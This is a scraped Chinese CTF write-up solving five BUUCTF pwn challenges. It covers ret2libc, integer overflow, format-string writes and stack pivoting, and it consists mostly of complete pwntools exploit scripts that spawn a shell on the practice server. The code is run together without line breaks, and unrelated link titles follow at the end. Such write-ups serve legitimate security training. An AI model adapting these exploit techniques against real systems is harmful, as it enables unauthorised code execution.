bjdctf_2020_babyrop普通的 ret2libcfrom pwn import *from LibcSearcher import *context.log_level='debug'#p = process('pwn')p = remote('node4.buuoj.cn', 26698)elf = ELF('pwn')rdi = 0x400733ret = 0x4004c9payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])p.sendlineafter(b'story!\n', payload)puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))libc = ELF('buu/libc-2.23-x64.so')libcbase = puts_addr - libc.sym['puts']system = libcbase + libc.sym['system']binsh = libcbase + next(libc.search(b'/bin/sh\x00'))payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)p.sendlineafter(b'story!\n', payload)p.interactive()bjdctf_2020_babystack2简单的整数溢出和ret2textfrom pwn import *from LibcSearcher import *context.log_level='debug'#p = process('pwn')p = remote('node4.buuoj.cn', 27408)elf = ELF('pwn')p.sendlineafter(b'your name:\n', '-1')payload = b'a'*0x18 + p64(elf.sym['backdoor'])p.sendlineafter(b'u name?\n', payload)p.interactive()jarvisoj_fm【32题 BUUCTF-PWN-第一页writep】格式化字符串漏洞
调试可知是第十一个参数

文章插图
exp
from pwn import *from LibcSearcher import *context.log_level='debug'p = process('pwn')#p = remote('node4.buuoj.cn', 26628)elf = ELF('pwn')x_addr = 0x804A02C#payload = fmtstr_payload(11,{x_addr:4})payload = p32(x_addr) + b'%11$n'p.sendline(payload)#print(p.recv())p.interactive()pwn2_sctf_2016简单的整数溢出和 ret2libc,但是坑的是
最后调用 system('/bin/sh') 的时候,如果用 p32(0) 会导致打不通看汇编代码才发现,原来程序读字符串用的是自定义的 get_n 函数

文章插图
读到 \x00 它就断了
from pwn import *from LibcSearcher import *context.log_level='debug'#p = process('pwn')p = remote('node4.buuoj.cn', 25339)elf = ELF('pwn')p.sendlineafter(b'to read?', b'-1')payload = b'a'*0x30 + p32(elf.plt['printf']) + p32(elf.sym['main']) + p32(0x80486F8) +p32(elf.got['printf'])p.sendlineafter(b'bytes of data!\n', payload)p.recvline()p.recvuntil(b'You said: ')printf_addr = u32(p.recv(4))libc = ELF('buu/libc-2.23.so')libcbase = printf_addr - libc.sym['printf']system = libcbase + libc.sym['system']binsh = libcbase + next(libc.search(b'/bin/sh\x00'))p.sendlineafter(b'to read?', b'-1')payload = b'a'*0x30 + p32(system) + b'a'*4 + p32(binsh) #注意这里p.sendlineafter(b'bytes of data!\n', payload)p.interactive()ciscn_2019_es_2main

文章插图
vul

文章插图
hack

文章插图
咋一看是道很简单的栈溢出,不过,只能溢出8个字节,覆盖ebp和ret,而且 hack 不能拿到flag这是一道 栈转移 的问题,栈迁移核心思想就是利用leave和ret转移ebp和esp 。leave和ret常用于复原栈leave=mov esp,ebp pop ebpret=pop eip由于 mov esp,ebp 后,pop ebp,pop eip 后,eip会指向 esp 下一条指令的位置,所以 esp 的位置要填充无用数据,esp 的下一条指令再填充system函数的地址,后面再填充所需的数据由gdb可知 esp 距离 ebp 的偏移为 0x38payload 构成如下

文章插图
IDA中可以找到很多 leave 指令

文章插图
exp如下
from pwn import *from LibcSearcher import *#context.log_level = 'debug'#context(os='linux', arch='amd64')#p = process('./1')p = remote('node4.buuoj.cn', 28244)elf = ELF('1')leave = 0x080484B8system_addr = elf.symbols['system']p.send(b'a'*36 + b'stop')p.recvuntil(b'stop')ebp = u32(p.recv(4))payload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\x00').ljust(0x28, b'a')payload += p32(ebp-0x38) + p32(leave)p.send(payload)p.interactive()
经验总结扩展阅读
- 第一次开自动挡车步骤有哪些
- 沈阳 第 46 届 ICPC 国际大学生程序设计竞赛亚洲区域赛
- 原神寻星之旅第五天怎么通关
- 新剑侠情缘10月26日微信每日一题答案是什么
- 抛物线第二定义是什么
- 治疗湿疹的药膏有什么
- 去细纹眼霜前8强:希思黎上榜 第一名可有效阻止电子辐射
- 琅琊榜夏冬和聂锋相认是第几集?
- .Net Framework中的AppDomain.AssemblyResolve事件的常见用法、问题,以及解决办法
- 蛋神奇踪主题曲是什么